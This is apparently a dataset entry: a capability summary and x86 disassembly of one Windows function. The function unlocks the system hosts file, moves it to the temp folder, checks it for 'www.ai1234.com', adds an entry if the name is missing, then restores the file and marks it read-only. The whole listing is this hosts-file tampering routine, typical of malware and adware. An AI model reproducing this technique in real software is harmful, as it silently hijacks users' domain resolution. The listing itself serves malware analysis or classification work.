Function at 0x403800
Capabilities:
Get common file path
Get file attributes
Move file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x41de60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, ecx
push edi
push str.WINDOWS_system32driversetchosts
lea eax, [esi + 0x8c]
lea ecx, [esp + 0x14]
push eax
push ecx
xor ebp, ebp
call fcn.00415a54
lea ecx, [esp + 0x28]
mov dword [esp + 0x44], ebp
call fcn.00418da5
mov edx, dword [0x426e28]
mov dword [esp + 0x18], edx
push 0x42a748
lea ecx, [esp + 0x20]
mov byte [esp + 0x48], 2
call fcn.00415879
push 0x10000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x50], 3
call fcn.00415580
mov ecx, esi
call fcn.004035d0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and al, 0xfe
push eax
push edx
call ebx
mov eax, dword [0x426e28]
mov dword [esp + 0x14], eax
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 4
call fcn.00415bef
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.00415c3e
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.00415a54
mov eax, dword [eax]
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x20]
call fcn.0041580b
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.00415a54
mov eax, dword [eax]
push ebp
mov byte [esp + 0x48], 5
push ebp
push eax
lea ecx, [esp + 0x34]
call fcn.00418e1a
lea ecx, [esp + 0x20]
mov edi, eax
mov byte [esp + 0x44], 4
call fcn.0041580b
test edi, edi
je 0x403a26
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
call fcn.00418ffd
test eax, eax
je 0x40399d
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x20]
call fcn.00415bd7
push 0x426c7c
lea ecx, [esp + 0x20]
call fcn.00415b9b
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.00415c3e
push str.www.ai1234.com
lea ecx, [esp + 0x1c]
call fcn.00414219
cmp eax, 0xffffffff
je 0x40398b
mov ebp, 1
lea edx, [esp + 0x18]
lea ecx, [esp + 0x28]
push edx
call fcn.00418ffd
test eax, eax
jne 0x40394c
lea ecx, [esp + 0x28]
call fcn.0041914a
test ebp, ebp
jne 0x403a26
push 0x426848
lea ecx, [esp + 0x24]
call fcn.00415879
lea eax, [esp + 0x14]
push str.hosts
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x50], 6
call fcn.00415a54
mov eax, dword [eax]
push ebp
push 1
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x50], 7
call fcn.00418e1a
lea ecx, [esp + 0x24]
mov byte [esp + 0x44], 6
call fcn.0041580b
lea edx, [esp + 0x20]
lea ecx, [esp + 0x1c]
push edx
call fcn.00415bd7
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
push eax
call fcn.00418f8d
lea ecx, [esp + 0x28]
call fcn.0041914a
lea ecx, [esp + 0x20]
mov byte [esp + 0x44], 4
call fcn.0041580b
lea ecx, [esp + 0x14]
push str.hosts
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.00415a54
mov ecx, dword [esp + 0x10]
mov eax, dword [eax]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x24]
call fcn.0041580b
mov edx, dword [esp + 0x10]
push 1
push edx
call ebx
push 0x80000000
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00415580
mov ecx, esi
call fcn.004035d0
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 3
call fcn.0041580b
lea ecx, [esp + 0x1c]
mov byte [esp + 0x44], 2
call fcn.0041580b
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 1
call fcn.0041580b
lea ecx, [esp + 0x28]
mov byte [esp + 0x44], 0
call fcn.00418dd7
lea ecx, [esp + 0x10]
mov dword [esp + 0x44], 0xffffffff
call fcn.0041580b
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x38
ret